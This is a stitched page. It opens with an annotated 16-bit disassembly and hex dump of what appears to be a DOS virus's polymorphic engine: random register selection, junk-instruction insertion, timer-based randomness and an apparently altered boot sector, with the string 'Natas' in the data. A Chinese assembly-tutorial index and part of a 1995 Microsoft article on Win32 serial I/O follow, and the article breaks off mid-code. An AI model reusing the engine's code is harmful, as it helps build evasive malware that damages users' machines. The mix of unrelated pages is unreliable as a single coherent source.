; 随机取寄存器, 但必须为 BX, BP, SI, DI 之一 ,入口为 10F4
; (取 BP 中一位, 但必须是第 3, 5, 6, 7 位)
9E80:10F1 E82A00         CALL	111E 		;恢复寄存器位 (在 BP 中)
9E80:10F4 E80900         CALL	1100 		;入口, 取随机一个寄存器
9E80:10F7 3C03           CMP	AL,03 		;为 BX 返回
9E80:10F9 7404           JZ	10FF
9E80:10FB 3C05           CMP	AL,05 		;小于 5 重新取
9E80:10FD 72F2           JB	10F1
9E80:10FF C3             RET
;=========================================================================
; 随机取寄存器, 返回 AX = 寄存器号
; (取 BP 中一位, BP 已是全零返回 CY, 否则返回 NC )
9E80:1100 F7C5EF00       TEST	BP,00EF 	;已无空余寄存器
9E80:1104 F9             STC	 		;设置 CY 返回
9E80:1105 7416           JZ	111D
9E80:1107 B80700         MOV	AX,0007 	;取小于等于 7 的数
9E80:110A E85900         CALL	1166
9E80:110D 50             PUSH	AX
9E80:110E 98             CBW
9E80:110F E81500         CALL	1127 		;设置数字到 BIT
9E80:1112 85E8           TEST	AX,BP
9E80:1114 9C             PUSHF
9E80:1115 F7D0           NOT	AX
9E80:1117 23E8           AND	BP,AX 		;将 BP 中相应位清零
9E80:1119 9D             POPF
9E80:111A 58             POP	AX
9E80:111B 74EA           JZ	1107 		;BP 中相应为原来已是零转 1107
9E80:111D C3             RET			;重新选取
;============================================================================
; 恢复相应寄存器, 入口: AX = 寄存器号
; (将 BP 中相应位设置为 1 )
9E80:111E 50             PUSH	AX
9E80:111F 98             CBW
9E80:1120 E80400         CALL	1127
9E80:1123 0BE8           OR	BP,AX
9E80:1125 58             POP	AX
9E80:1126 C3             RET
;============================================================================
; 将 AX 中的数值转换为 AX 中的 BIT 位
9E80:1127 51             PUSH	CX
9E80:1128 8AC8           MOV	CL,AL
9E80:112A B001           MOV	AL,01
9E80:112C D2E0           SHL	AL,CL
9E80:112E 59             POP	CX
9E80:112F C3             RET
;====================================================================
; 按随机顺序执行 BX, CX, DX, SI 所指的子程序
9E80:1130 E8F6FE         CALL	1029 		;随机加入无效指令
9E80:1133 B80200         MOV	AX,0002
9E80:1136 E82D00         CALL	1166
9E80:1139 91             XCHG	AX,CX 		;产生随机数于 CX ( <3 )
9E80:113A 41             INC	CX
9E80:113B E81C00         CALL	115A 		;将原 BX, CX, DX, SI
9E80:113E 7501           JNZ	1141 		;随机对换
9E80:1140 93             XCHG	AX,BX
9E80:1141 E81600         CALL	115A
9E80:1144 7501           JNZ	1147
9E80:1146 92             XCHG	AX,DX
9E80:1147 E81000         CALL	115A
9E80:114A 7501           JNZ	114D
9E80:114C 96             XCHG	AX,SI
9E80:114D E2EC           LOOP	113B
9E80:114F 56             PUSH	SI 		;将原 BX, CX, DX, SI
9E80:1150 52             PUSH	DX 		;当作返回地址压入堆栈再返回
9E80:1151 53             PUSH	BX 		;即以下执行 BX, CX, DX, SI
9E80:1152 50             PUSH	AX 		;所指的子程序
9E80:1153 C3             RET
;======================================================================
; 产生小于等于 BX 的随机数, 返回: BX = 随机数
9E80:1154 93             XCHG	AX,BX
9E80:1155 E80E00         CALL	1166
9E80:1158 93             XCHG	AX,BX
9E80:1159 C3             RET
;======================================================================
; 随机分支子程序, 返回 NZ 或 ZR
9E80:115A 50             PUSH	AX
9E80:115B B80100         MOV	AX,0001
9E80:115E E80500         CALL	1166
9E80:1161 58             POP	AX
9E80:1162 C3             RET
9E80:1163 B8FFFF         MOV	AX,FFFF
;=======================================================================
; 产生小于等于 AX 的随机数, 返回: AX = 随机数, 并且 AX = 0 时返回 ZR
; AX <> 0 时返回 NZ
9E80:1166 1E             PUSH	DS
9E80:1167 53             PUSH	BX
9E80:1168 51             PUSH	CX
9E80:1169 52             PUSH	DX
9E80:116A 50             PUSH	AX
9E80:116B 33C0           XOR	AX,AX 		;取系统时钟 (随机)
9E80:116D CD1A           INT	1A 		;返回 CX:DX = 时钟计数
9E80:116F 0E             PUSH	CS
9E80:1170 1F             POP	DS
9E80:1171 E440           IN	AL,40		;取 8253 通道一计数器 (随机)
9E80:1173 91             XCHG	AX,CX 		;CL = 8253 随机数
9E80:1174 92             XCHG	AX,DX 		;DX:AX = 时钟随机数
9E80:1175 BB9C11         MOV	BX,119C
9E80:1178 3107           XOR	[BX],AX
9E80:117A D307           ROL	Word Ptr [BX],CL
9E80:117C 330F           XOR	CX,[BX]
9E80:117E D3C0           ROL	AX,CL
9E80:1180 3317           XOR	DX,[BX]
9E80:1182 D3CA           ROR	DX,CL
9E80:1184 33C2           XOR	AX,DX
9E80:1186 F7EA           IMUL	DX
9E80:1188 33C2           XOR	AX,DX
9E80:118A 3107           XOR	[BX],AX
9E80:118C 59             POP	CX
9E80:118D 33D2           XOR	DX,DX 		;DX:AX = 随机数
9E80:118F 41             INC	CX
9E80:1190 7403           JZ	1195
9E80:1192 F7F1           DIV	CX
9E80:1194 92             XCHG	AX,DX 		;DX = 余数 (小于入口数的随机数)
9E80:1195 5A             POP	DX 		;返回 AX = 随机数
9E80:1196 59             POP	CX
9E80:1197 5B             POP	BX
9E80:1198 1F             POP	DS
9E80:1199 0BC0           OR	AX,AX
9E80:119B C3             RET

9E80:119C                                      C5 DB 8B 1E              E[..
9E80:11A0  C3 0A B8 C3 F0 B9 ED 08-33 FF F8 F8 F8 F8 F8 F8  C.8Cp9m.3.xxxxxx
9E80:11B0  F8 F8 47 47 E2 F4 B4 40-B9 88 12 99 9C 2E FF 1E  xxGGbt4@9.......
9E80:11C0  FB 13 72 02 2B C1 9C 5D-C7 04 00 00 C6 06 B8 12  {.r.+A.]G...F.8.
9E80:11D0  C3 EB CB 4E 61 74 61 73-00 90 31 F1 BA C3 F0 C7  CkKNatas..1q:CpG
9E80:11E0  C3 ED 08 F9 8B CC F5 1B-ED 87 F0 81 CD EC A9 97  Cm.y.Lu.m.p.Ml).
9E80:11F0  87 F9 8B C1 45 45 F9 89-F8 89 DE F5 11 96 6D 56  .y.AEEy.x.^u..mV
9E80:1200  81 C2 1A E5 4B 89 E0 81-CB 00 00 79 E3 E9 62 F1  .B.eK.`.K..ycibq
9E80:1210  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1220  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1230  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1240  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1250  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1260  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1270  46 31 20 3D 20 22 48 3B-22 0D 0A 46 32 20 3D 20  F1 = "H;"..F2 =
9E80:1280  22 5E 57 52 3B 22 0D 0A-46 31 20 3D 20 22 48 3B  "^WR;"..F1 = "H;
9E80:1290  22 0D 0A 46 32 20 3D 20-22 5E 57 52 3B 22 0D 0A  "..F2 = "^WR;"..
9E80:12A0  8B 1E C3 0A B8 C3 F0 B9-ED 08 33 FF 01 05 F8 05  ..C.8Cp9m.3...x.
9E80:12B0  1A E5 F8 F8 47 47 E2 F4-C3 40 B9 88 12 99 9C 2E  .exxGGbtC@9.....
9E80:12C0  FF 1E FB 13 72 02 2B C1-9C 5D C7 04 01 05 C6 06  ..{.r.+A.]G...F.
9E80:12D0  B8 12 C3 EB CB 53 10 7E-8F 00 00 00 00 00 00 00  8.CkKS.~........
9E80:12E0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:12F0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1300  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1310  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1320  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1330  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1340  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1350  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1360  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1370  00 00 00 00 00 00 00 80-9E 00 00 80 9E 00 00 6F  ...............o
9E80:1380  11 80 9E 00 00 6F 11 80-9E 80 9E 01 00 EC F9 30  .....o.......ly0
9E80:1390  80 20 01 20 80 40 00 00-00 6D EF 00 F0 86 70 18  . . .@...mo.p.p.
9E80:13A0  00 05 00 18 00 39 03 00-00 83 01 0A 3E 03 00 C5  .....9......>..E
9E80:13B0  13 05 47 16 12 01 00 CA-44 53 10 53 10 01 00 24  ..G....JDS.S...$
9E80:13C0  40 28 0A C7 08 53 10 53-10 B5 6D C7 6B 80 9E 7A  @(.G.S.S.5mGk..z
9E80:13D0  6B 4E 00 01 00 0A 40 46-72 00 00 00 00 00 00 00  kN....@Fr.......
9E80:13E0  00 00 00 00 00 00 00 56-09 53 10 59 EC 00 F0 59  .......V.S.Yl.pY
9E80:13F0  EC 00 F0 59 F8 00 F0 59-EC 00 F0 F8 40 11 00 B0  l.pYx.pYl.px@..0
9E80:1400  03 CF C7 08 5B 00 6D 56-B2 12 AC 12 02 03 05 FF  .OG.[.mV2.,.....
9E80:1410  05 00 00                                         ...
9E80:1413           EB 3C 90 4D 53-44 4F 53 35 2E 30 00 02     k<.MSDOS5.0..
9E80:1420  01 01 00 02 E0 00 51 09-F9 07 00 0F 00 02 00 00  ....`.Q.y.......
9E80:1430  00 00 00 00 00 00 00 00-00 29 14 06 1A 1A 41 43  .........)....AC
9E80:1440  4C 49 42 32 34 20 20 20-20 46 41 54 31 32 20 20  LIB24    FAT12
9E80:1450  20 E8 00 00 BF 40 00 8E-DF 83 6D D3 06 8B 45 D3   h..?@.._.mS..ES
9E80:1460  B1 0A D3 C8 8E C0 B8 09-02 33 DB B9 01 4F BA 00  1.SH.@8..3[9.O:.
9E80:1470  01 CD 13 72 03 06 53 CB-CD 18 F9 89 47 02 C7 07  .M.r..SKM.y.G.G.
9E80:1480  3E 7C FB CD 13 72 79 33-C0 39 06 13 7C 74 08 8B  >|{M.ry3@9..|t..
9E80:1490  0E 13 7C 89 0E 20 7C A0-10 7C F7 26 16 7C 03 06  ..|.. | .|w&.|..
9E80:14A0  1C 7C 13 16 1E 7C 03 06-0E 7C 83 D2 00 A3 50 7C  .|...|...|.R.#P|
9E80:14B0  89 16 52 7C A3 49 7C 89-16 4B 7C B8 20 00 F7 26  ..R|#I|..K|8 .w&
9E80:14C0  11 7C 8B 1E 0B 7C 03 C3-48 F7 F3 01 06 49 7C 83  .|...|.CHws..I|.
9E80:14D0  16 4B 7C 00 BB 00 05 8B-16 52 7C A1 50 7C E8 92  .K|.;....R|!P|h.
9E80:14E0  00 72 1D B0 01 E8 AC 00-72 16 8B FB B9 0B 00 BE  .r.0.h,.r..{9..>
9E80:14F0  E6 7D F3 A6 75 0A 8D 7F-20 B9 0B 00 F3 A6 74 18  f}s&u... 9..s&t.
9E80:1500  BE 9E 7D E8 5F 00 33 C0-CD 16 5E 1F 8F 04 8F 44  >.}h_.3@M.^....D
9E80:1510  02 CD 19 58 58 58 EB E8-8B 47 1A 48 48 8A 1E 0D  .M.XXXkh.G.HH...
9E80:1520  7C 32 FF F7 E3 03 06 49-7C 13 16 4B 7C BB 00 07  |2.wc..I|..K|;..
9E80:1530  B9 03 00 50 52 51 E8 3A-00 72 D8 B0 01 E8 54 00  9..PRQh:.rX0.hT.
9E80:1540  59 5A 58 72 BB 05 01 00-83 D2 00 03 1E 0B 7C E2  YZXr;....R....|b
9E80:1550  E2 8A 2E 15 7C 8A 16 24-7C 8B 1E 49 7C A1 4B 7C  b...|..$|..I|!K|
9E80:1560  EA 00 00 70 00 AC 0A C0-74 29 B4 0E BB 07 00 CD  j..p.,.@t)4.;..M
9E80:1570  10 EB F2 3B 16 18 7C 73-19 F7 36 18 7C FE C2 88  .kr;..|s.w6.|~B.
9E80:1580  16 4F 7C 33 D2 F7 36 1A-7C 88 16 25 7C A3 4D 7C  .O|3Rw6.|..%|#M|
9E80:1590  F8 C3 F9 C3 B4 02 8B 16-4D 7C B1 06 D2 E6 0A 36  xCyC4...M|1.Rf.6
9E80:15A0  4F 7C 8B CA 86 E9 8A 16-24 7C 8A 36 25 7C CD 13  O|.J.i..$|.6%|M.
9E80:15B0  C3 0D 0A 4E 6F 6E 2D 53-79 73 74 65 6D 20 64 69  C..Non-System di
9E80:15C0  73 6B 20 6F 72 20 64 69-73 6B 20 65 72 72 6F 72  sk or disk error
9E80:15D0  0D 0A 52 65 70 6C 61 63-65 20 61 6E 64 20 70 72  ..Replace and pr
9E80:15E0  65 73 73 20 61 6E 79 20-6B 65 79 20 77 68 65 6E  ess any key when
9E80:15F0  20 72 65 61 64 79 0D 0A-00 49 4F 20 20 20 20 20   ready...IO
9E80:1600  20 53 59 53 4D 53 44 4F-53 20 20 20 53 59 53 00   SYSMSDOS   SYS.
9E80:1610  00 55 AA                                         .U*
9E80:1613           00 00 00 00 00-00 00 00 00 00 00 00 00     .............
9E80:1620  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1630  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1640  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1650  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1660  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1670  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1680  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1690  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:16A0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:16B0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:16C0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:16D0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:16E0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:16F0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1700  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1710  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1720  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1730  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1740  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1750  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1760  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1770  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1780  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:1790  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:17A0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:17B0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:17C0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:17D0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:17E0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9E80:17F0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


编程示例

Iczelion的Win32汇编教程

Iczelion的汇编教程是汇编教程中不可多得的资料，它从简到繁几乎覆盖了Win32编程的所有部分，值得一看。
这里是 Iczelion 汇编教程附带的源代码 02 03 04 05 06 07 08-1 08-2 09 10-1 10-2 11-1 11-2 11-3 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35

作者 | 翻译 | 英文版本 | 中文译文
Iczelion | Lxx、阿龙 | 1.The Basics | 1.基本概念
 |  | 2.MessageBox | 2.消息框
 |  | 3.A Simple Window | 3.创建简单的窗口
 |  | 4.Painting with Text | 4.绘制文本
 |  | 5.More about Text | 5.学习更多的关于文本的知识
 |  | 6.Keyboard Input | 6.处理键盘消息
 |  | 7.Mouse Input | 7.处理鼠标输入消息
 |  | 8.Menu | 8.菜单
 |  | 9.Child Window Controls | 9.子窗口控件
 |  | 10.Dialog Box as Main Window | 10.把对话框作为主界面
 |  | 11.More about Dialog Box | 11.进一步学习对话框
 |  | 12.Memory Management and File I/O | 12.内存管理和文件输入输出
 |  | 13.Memory Mapped Files | 13.内存映射文件
 |  | 14.Process | 14.进程 [2000.10.29]
 |  | 15.Multithreading Programming | 15.多线程教程 [2000.11.13]
 |  | 16.Event Object | 16.事件对象 [2000.12.10]
 |  | 17.Dynamic Link Libraries | 17.动态链接库 [2000.12.17]
 |  | 18.Common Controls | 18.通用控件 [2001.05.14]
 |  | 19.Tree View Control | 19.树型视图控件 [2001.05.14]
 | ZhangJun | 20.Window Subclassing | 20.窗口子类化 [2000.10.29]
 |  | 21.Pipe | 21.管道 [2000.11.01]
 |  | 22.Superclassing | 22.超类化 [2001.02.05]
 |  | 23.Tray Icon | 23.系统托盘中的快捷图标 [2001.02.14]
 |  | 24.Windows Hooks | 24.WINDOWS钩子函数 [2001.02.14]
 | 赵昆 | 25.Simple Bitmap | 25.位图初步 [2001.01.28]
 | Pheadnius | 26.Splash Screen | 26.启动画面 [2001.01.21]
 | Hume | 27.Tooltip Control | 27.工具提示控件 [2001.06.11]
 |  | 28.Win32 Debug API Part 1 | 28.Win32调试API第一部分
 | Xjg | 29.Win32 Debug API Part 2 | 29.Win32调试API第二部分 [2001.05.07]
 |  | 30.Win32 Debug API part 3 | 30.Win32调试API第三部分 [2001.05.07]
 | Lxx、阿龙 | 31.Listview Control | 31.列表视图控件 [2001.01.28]
 | XieJacky | 32.Multiple Document Interface (MDI) | 32.多文档界面 [2001.06.21]
 | farsky | 33.RichEdit Control Basics | 33.RichEdit:基础知识 [New - 2001.10.02]
 |  | 34.RichEdit Control More Text Operations | 34.RichEdit:更多正文操作 [New - 2001.10.02]
 |  | 35.RichEdit Control Syntax Hilighting | 35.RichEdit:语法高亮显示 [New - 2001.10.02]

Iczelion 的 ODBC 教程

共有 5 篇，这是网上唯一找得到的 ODBC 汇编教程，教程中还有源程序例子。本教程中文版由网友 orochi 翻译，这里是所有中文版和英文版的 Zip包

作者 | 翻译 | 英文版 | 中文版
Iczelion | Orochi | 索引页
 |  | 1.ODBC Basics | 1.ODBC 基础
 |  | 2.Connecting to Data Source | 2.连接数据源 [2000.08.27]
 |  | 3.Preparing and Using Statements | 3.准备与使用语句 [2000.08.27]
 |  | 4.Retrieving Results | 4.获得结果 [2000.08.27]
 |  | 5.An ODBC Example | 5.一个例子 [2000.08.27]

Iczelion 的 VxD 教程

共有 5 篇，这是网上唯一找得到的 Win32Asm VxD 汇编教程，教程中有源程序例子。中文版由网友 Ryo 及吕骏等翻译，这里是所有中文版和英文版的 Zip包

作者 | 翻译 | 英文版 | 中文版
Iczelion | Ryo | 1.Virtual Device Driver Basics | 1.虚拟设备驱动程序初步 [2000.08.28]
 |  | 2.Virtual Machine Manager | 2.虚拟机管理器 [2000.08.28]
 |  | 3.Virtual Device Driver Skeleton | 3.虚拟设备驱动程序结构 [2000.08.28]
 |  | 4.VxD Programming: Primer | 4.VxD 设计入门 [2000.08.28]
 |  | 5.VxD Example: MessageBox | 5.VxD 例程：消息框 [2000.08.28]
 | OrangeTouch | 6.DeviceIoControl Interface | 6.DeviceIoControl接口 [2000.11.16]
 | 吕骏 | 7.Application Time and Shell Functions | 7.请求执行时间段与Shell函数 [2000.12.10]
 |  | 8.Client Register Structure | 8.客户寄存器结构 [2000.12.10]
 |  | 9.Virtual 8086 Memory Manager | 9.虚拟8086模式的内存管理 [2000.12.10]

Iczelion 的 PE 教程

共有 7 篇，中文版由网友 GuFeng 翻译，这里是所有中文版和英文版的 Zip包 [New 2001.02.19]

作者 | 翻译 | 英文版 | 中文版
Iczelion | GuFeng | 1.Overview of PE file format | 1.PE文件格式一览 [New 2001.02.19]
 |  | 2.Detecting a Valid PE File | 2.检验PE文件的有效性 [New 2001.02.19]
 |  | 3.File Header | 3.文件头 [New 2001.02.19]
 |  | 4.Optional Header | 4.Optional Header [New 2001.02.19]
 |  | 5.Section Table | 5.节表 [New 2001.02.19]
 |  | 6.Import Table | 6.引入表 [New 2001.02.19]
 |  | 7.Export Table | 7.引出表 [New 2001.02.19]
(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Serial Communications in Win32

Allen Denver
Microsoft Windows Developer Support

December 11, 1995

Allen seldom eats breakfast, but if he had to pick a favorite, Win32 serial communications would be the top choice.

Click to open or copy the files in the MTTTY sample application for this technical article.

Abstract

Serial communications in Microsoft?Win32?is significantly different from serial communications in 16-bit Microsoft Windows? Those familiar with 16-bit serial communications functions will have to relearn many parts of the system to program serial communications properly. This article will help to accomplish this. Those unfamiliar with serial communications will find this article a helpful foundation for development efforts.

This article assumes the reader is familiar with the fundamentals of multiple threading and synchronization in Win32. In addition, a basic familiarity of the Win32 heap functions is useful to fully comprehend the memory management methods used by the sample, MTTTY, included with this article. For more information regarding these functions, consult the Platform SDK documentation, the Microsoft Win32 SDK Knowledge Base, or the Microsoft Developer Network Library. Application programming interfaces (APIs) that control user interface features of windows and dialog boxes, though not discussed here, are useful to know in order to fully comprehend the sample provided with this article. Readers unfamiliar with general Windows programming practices should learn some of the fundamentals of general Windows programming before taking on serial communications. In other words, get your feet wet before diving in head first.

Introduction

The focus of this article is on application programming interfaces (APIs) and methods that are compatible with Microsoft?Windows NT?and Windows 95; therefore, APIs supported on both platforms are the only ones discussed. Windows 95 supports the Win32?Telephony API (TAPI) and Windows NT 3.x does not; therefore, this discussion will not include TAPI. TAPI does deserve mention, however, in that it very nicely implements modem interfacing and call controlling. A production application that works with modems and makes telephone calls should implement these features using the TAPI interface. This will allow seamless integration with the other TAPI-enabled applications that a user may have. Furthermore, this article does not discuss some of the configuration functions in Win32, such as GetCommProperties.

The article is broken into the following sections: Opening a port, reading and writing (nonoverlapped and overlapped), serial status (events and errors), and serial settings (DCB, flow control, and communications time-outs).

The sample included with this article, MTTTY: Multithreaded TTY, implements many of the features discussed here. It uses three threads in its implementation: a user interface thread that does memory management, a writer thread that controls all writing, and a reader/status thread that reads data and handles status changes on the port. The sample employs a few different data heaps for memory management. It also makes extensive use of synchronization methods to facilitate communication between threads.

Opening a Port

The CreateFile function opens a communications port. There are two ways to call CreateFile to open the communications port: overlapped and nonoverlapped. The following is the proper way to open a communications resource for overlapped operation:

HANDLE hComm;
hComm = CreateFile( gszPort,
                    GENERIC_READ | GENERIC_WRITE,
                    0,
                    0,
                    OPEN_EXISTING,
                    FILE_FLAG_OVERLAPPED,
                    0);
if (hComm == INVALID_HANDLE_VALUE)
   // error opening port; abort

Removal of the FILE_FLAG_OVERLAPPED flag from the call to CreateFile specifies nonoverlapped operation. The next section discusses overlapped and nonoverlapped operations.

The Platform SDK documentation states that when opening a communications port, the call to CreateFile has the following requirements:

  • fdwShareMode must be zero. Communications ports cannot be shared in the same manner that files are shared. Applications using TAPI can use the TAPI functions to facilitate sharing resources between applications. For Win32 applications not using TAPI, handle inheritance or duplication is necessary to share the communications port. Handle duplication is beyond the scope of this article; please refer to the Platform SDK documentation for more information.

  • fdwCreate must specify the OPEN_EXISTING flag.

  • hTemplateFile parameter must be NULL.

One thing to note about port names is that traditionally they have been COM1, COM2, COM3, or COM4. The Win32 API does not provide any mechanism for determining what ports exist on a system. Windows NT and Windows 95 keep track of installed ports differently from one another, so any one method would not be portable across all Win32 platforms. Some systems even have more ports than the traditional maximum of four. Hardware vendors and serial-device-driver writers are free to name the ports anything they like. For this reason, it is best that users have the ability to specify the port name they want to use. If a port does not exist, an error will occur (ERROR_FILE_NOT_FOUND) after attempting to open the port, and the user should be notified that the port isn’t available.

Reading and Writing

Reading from and writing to communications ports in Win32 is very similar to file input/output (I/O) in Win32. In fact, the functions that accomplish file I/O are the same functions used for serial I/O. I/O in Win32 can be done either of two ways: overlapped or nonoverlapped. The Platform SDK documentation uses the terms asynchronous and synchronous to connote these types of I/O operations. This article, however, uses the terms overlapped and nonoverlapped.

Nonoverlapped I/O is familiar to most developers because this is the traditional form of I/O, where an operation is requested and is assumed to be complete when the function returns. In the case of overlapped I/O, the system may return to the caller immediately even when an operation is not finished and will signal the caller when the operation completes. The program may use the time between the I/O request and its completion to perform some “background?work.

Reading and writing in Win32 is significantly different from reading and writing serial communications ports in 16-bit Windows. 16-bit Windows only has the ReadComm and WriteComm functions. Win32 reading and writing can involve many more functions and choices. These issues are discussed below.

Nonoverlapped I/O

Nonoverlapped I/O is very straightforward, though it has limitations. An operation takes place while the calling thread is blocked. Once the operation is complete, the function returns and the thread can continue its work. This type of I/O is useful for multithreaded applications because while one thread is blocked on an I/O operation, other threads can still perform work. It is the responsibility of the application to serialize access to the port correctly. If one thread is blocked waiting for its I/O operation to complete, all other threads that subsequently call a communications API will be blocked until the original operation completes. For instance, if one thread were waiting for a ReadFile function to return, any other thread that issued a WriteFile function would be blocked.

One of the many factors to consider when choosing between nonoverlapped and overlapped operations is portability. Overlapped operation is not a good choice because most operating systems do not support it. Most operating systems support some form of multithreading, however, so multithreaded nonoverlapped I/O may be the best choice for portability reasons.

Overlapped I/O

Overlapped I/O is not as straightforward as nonoverlapped I/O, but allows more flexibility and efficiency. A port open for overlapped operations allows multiple threads to do I/O operations at the same time and perform other work while the operations are pending. Furthermore, the behavior of overlapped operations allows a single thread to issue many different requests and do work in the background while the operations are pending.

In both single-threaded and multithreaded applications, some synchronization must take place between issuing requests and processing the results. One thread will have to be blocked until the result of an operation is available. The advantage is that overlapped I/O allows a thread to do some work between the time of the request and its completion. If no work can be done, then the only case for overlapped I/O is that it allows for better user responsiveness.

Overlapped I/O is the type of operation that the MTTTY sample uses. It creates a thread that is responsible for reading the port’s data and reading the port’s status. It also performs periodic background work. The program creates another thread exclusively for writing data out the port.

Note Applications sometimes abuse multithreading systems by creating too many threads. Although using multiple threads can resolve many difficult problems, creating excessive threads is not the most efficient use of them in an application. Threads are less a strain on the system than processes but still require system resources such as CPU time and memory. An application that creates excessive threads may adversely affect the performance of the entire system. A better use of threads is to create a different request queue for each type of job and to have a worker thread issue an I/O request for each entry in the request queue. This method is used by the MTTTY sample provided with this article.

An overlapped I/O operation has two parts: the creation of the operation and the detection of its completion. Creating the operation entails setting up an OVERLAPPED structure, creating a manual-reset event for synchronization, and calling the appropriate function (ReadFile or WriteFile). The I/O operation may or may not be completed immediately. It is an error for an application to assume that a request for an overlapped operation always yields an overlapped operation. If an operation is completed immediately, an application needs to be ready to continue processing normally. The second part of an overlapped operation is to detect its completion. Detecting completion of the operation involves waiting for the event handle, checking the overlapped result, and then handling the data. The reason that there is more work involved with an overlapped operation is that there are more points of failure. If a nonoverlapped operation fails, the function just returns an error-return result. If an overlapped operation fails, it can fail in the creation of the operation or while the operation is pending. You may also have a time-out of the operation or a time-out waiting for the signal that the operation is complete.

Reading

The ReadFile function issues a read operation. ReadFileEx also issues a read operation, but since it is not available on Windows 95, it is not discussed in this article. Here is a code snippet that details how to issue a read request. Notice that the function calls a function to process the data if the ReadFile returns TRUE. This is the same function called if the operation becomes overlapped. Note the fWaitingOnRead flag that is defined by the code; it indicates whether or not a read operation is overlapped. It is used to prevent the creation of a new read operation if one is outstanding.

DWORD dwRead;
BOOL fWaitingOnRead = FALSE;
OVERLAPPED osReader = {0};

// Create the overlapped event. Must be closed before exiting
// to avoid a handle leak.
osReader.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);

if (osReader.hEvent == NULL)
   // Error creating overlapped event; abort.

if (!fWaitingOnRead) {
   // Issue read operation.
   if (!ReadFile(hComm, lpBuf, READ_BUF_SIZE, &dwRead, &osReader)) {
      if (GetLastError() != ERROR_IO_PENDING)     // read not delayed?
         // Error in communications; report it.
      else
         fWaitingOnRead = TRUE;
   }
   else {
      // read completed immediately
      HandleASuccessfulRead(lpBuf, dwRead);
    }
}

The second part of the overlapped operation is the detection of its completion. The event handle in the OVERLAPPED structure is passed to the WaitForSingleObject function, which will wait until the object is signaled. Once the event is signaled, the operation is complete. This does not mean that it was completed successfully, just that it was completed. The GetOverlappedResult function reports the result of the operation. If an error occurred, GetOverlappedResult returns FALSE and GetLastError returns the error code. If the operation was completed successfully, GetOverlappedResult will return TRUE.

Note GetOverlappedResult can detect completion of the operation, as well as return the operation’s failure status. GetOverlappedResult returns FALSE and GetLastError returns ERROR_IO_INCOMPLETE when the operation is not completed. In addition, GetOverlappedResult can be made to block until the operation completes. This effectively turns the overlapped operation into a nonoverlapped operation and is accomplished by passing TRUE as the bWait parameter.

Here is a code snippet that shows one way to detect the completion of an overlapped read operation. Note that the code calls the same function to process the data that was called when the operation completed immediately. Also note the use of the fWaitingOnRead flag. Here it controls entry into the detection code, since it should be called only when an operation is outstanding.

#define READ_TIMEOUT      500      // milliseconds

DWORD dwRes;

if (fWaitingOnRead) {
   dwRes = WaitForSingleObject(osReader.hEvent, READ_TIMEOUT);
   switch(dwRes)
   {
      // Read completed.
      case WAIT_OBJECT_0:
          if (!GetOverlappedResult(hComm, &osReader, &dwRead, FALSE))
             // Error in communications; report it.
          else
             // Read completed successfully.
             HandleASuccessfulRead(lpBuf, dwRead);

          //  Reset flag so that another opertion can be issued.
          fWaitingOnRead = FALSE;
          break;

